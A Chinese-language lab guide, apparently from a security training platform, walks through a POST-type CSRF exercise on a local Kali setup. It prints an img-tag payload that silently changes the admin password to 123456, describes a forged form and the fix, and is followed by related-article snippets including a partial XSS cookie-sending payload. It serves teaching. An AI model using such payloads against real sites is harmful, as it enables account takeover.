实验目的

掌握POST型CSRF基础知识

实验原理

管理员点击恶意链接,密码被修改

实验内容

POST型CSRF漏洞

实验环境描述

带有CSRF漏洞的注册登录系统

实验步骤

登录密码

用户名为 root 密码 toor

打开apache2

首先,双击,kali左侧快捷栏,从上往下数第二个图标,从而打开终端,之后,输入 service apache2 restart 并回车,如出现下图所示情况,即apache启动成功。

打开mysql

继续输入service mysql start并回车,如出现下图所示情况,即mysql启动成功

注册账户

双击kali左侧快捷栏从上往下数第一个图标,打开kali自带浏览器,在上面的地址栏中输入如下的地址

http://127.0.0.1/index.html

选择快速注册,填写相关信息后即可注册成功

登录账户

注册后点击登录跳转至登录页面,输入用户名密码即可登录

低级别POST型CSRF

查看源代码

双击,kali左侧快捷栏,从上往下数第三个图标,打开文件管理,进入目录 /var/www/html/chpasswd,打开low_post.php

可以看到这里使用了$_REQUEST来获取参数,这样get和post的数据都能够处理

点击恶意链接

在浏览器新开一个页面,在地址栏中输入http://127.0.0.1/exploit/low_post_exp.html,模拟管理员点击恶意链接的操作

进入页面后右键点击View Page Source可以查看网页源代码,可以看到底部有一个

   <img src=http://127.0.0.1/csrf/low_post.php?new_pass=123456&conf_pass=123456>

相当于管理员访问了这个链接,密码会被修改为123456

再一次登录

这时回到原来的页面,点击注销,登陆时可以发现原先的密码不对了,密码变为了123456

为方便后面的学习,可以点击修改密码将密码修改回去

高级别POST型CSRF

查看源代码

双击,kali左侧快捷栏,从上往下数第三个图标,打开文件管理,进入目录 /var/www/html/chpasswd,打开plus_post.php

点击恶意链接

在浏览器新开一个页面,在地址栏中输入http://127.0.0.1/exploit/plus_post.html,模拟管理员点击恶意链接的操作

进入页面后右键点击View Page Source可以查看网页源代码,可以看到构造了一个post类型的表单

相当于管理员发送了这个post数据,密码会被修改为123456

再一次登录

这时回到原来的页面,点击注销,登陆时可以发现原先的密码不对了,密码变为了123456

完美防御

双击,kali左侧快捷栏,从上往下数第三个图标,打开文件管理,进入目录 /var/www/html/chpasswd,打开impossible_ch.php

可以看到使用了post方式传递数据,并使用了checkpass函数检测原有密码是否正确

此时就比较安全了

CSRF POST型的更多相关文章

  1. 信息安全-攻击-XSRF:XSRF/CSRF 攻击

    ylbtech-信息安全-攻击-XSRF:XSRF/CSRF 攻击 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Ses ...

  2. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  3. Web攻防之XSS,CSRF,SQL注入

    摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...

  4. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  5. CSRF简单介绍及利用方法-跨站请求伪造

    0x00 简要介绍 CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的.根据HTTP ...

  6. CSRF手工测试方法

    CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF.一般来说 ...

  7. 【实习记】2014-08-23网络安全XSS与CSRF总结

        XSS:脚本中的不速之客XSS:跨站脚本(Cross-site scripting)CSRF:冒充用户之手CSRF:跨站请求伪造(Cross-site request forgery) 谷歌搜 ...

  8. 浅谈CDN、SEO、XSS、CSRF

    CDN 什么是CDN 初学Web开发的时候,多多少少都会听过这个名词->CDN. CDN在我没接触之前,它给我的印象是用来优化网络请求的,我第一次用到CDN的时候是在找JS文件时.当时找不到相对 ...

  9. 浅谈CSRF漏洞

    前言: 看完小迪老师的CSRF漏洞讲解.感觉不行 就自己百度学习.这是总结出来的.   歌曲:   正文: CSRF与xss和像,但是两个是完全不一样的东西. xss攻击(跨站脚本攻击)储存型的XSS ...

随机推荐

  1. 理解ASP.NET Core - 基于Cookie的身份认证(Authentication)

    注:本文隶属于<理解ASP.NET Core>系列文章,请查看置顶博客或点击此处查看全文目录 概述 通常,身份认证(Authentication)和授权(Authorization)都会放 ...

  2. Solon Web 开发,五、数据访问、事务与缓存应用

    Solon Web 开发 一.开始 二.开发知识准备 三.打包与运行 四.请求上下文 五.数据访问.事务与缓存应用 六.过滤器.处理.拦截器 七.视图模板与Mvc注解 八.校验.及定制与扩展 九.跨域 ...

  3. Mybatis 学习记录 续

    项目结构如下: 1.数据库建表 表名:user 结构: 内容: 2.pom.xml文件更新如下: 注:其中build部分尤其需要重视 <?xml version="1.0" ...

  4. 【初体验】valgrind分析程序性能

    wget https://fossies.org/linux/misc/valgrind-3.15.0.tar.bz2 tar -jxvf valgrind-3.15.0.tar.bz2 cd val ...

  5. java匿名内部类-应用

    1 package face_09; 2 3 import sun.jvm.hotspot.ui.action.ShowAction; 4 5 interface Inter{ 6 void show ...

  6. 安装python3.6,设为默认,yum不能用

    安装python3.6 1.安装依赖包 yum -y install wget sqlite-devel xz gcc automake zlib-devel openssl-devel epel-r ...

  7. kubernetes之配置Metrics Server

    Kubernetes 1.8 关于资源使用情况的 metrics,可以通过 Metrics API 获取到, Kubernetes 1.11 已经废弃 heapster.这里我们基于 Kubernet ...

  8. Linux 总结

    查看端口 lsof -i:8000 查看进程 ps -ef  |  grep  python netstat -tunlp |grep 端口号 拷贝 cp 文件 生成文件名 做软连接找到目标文件目录 ...

  9. JDK安装步骤

    安装过程: 新建文件夹 新建文件夹 首先新建两个路径:D:\java\jdk和D:\java\jre,代表我把Java安装到D盘下的java路径下,在该路径下要新建两个路径,一会儿放jdk和jre. ...

  10. CentOS 7下iptables配置添加修改规则端口方法(转)

    简介: Linux CentOS 7默认没有安装iptables,默认的防火墙是firewalld,云吞铺子分享CentOS 7系统下iptables安装.iptables规则配置(放行或者禁用端口) ...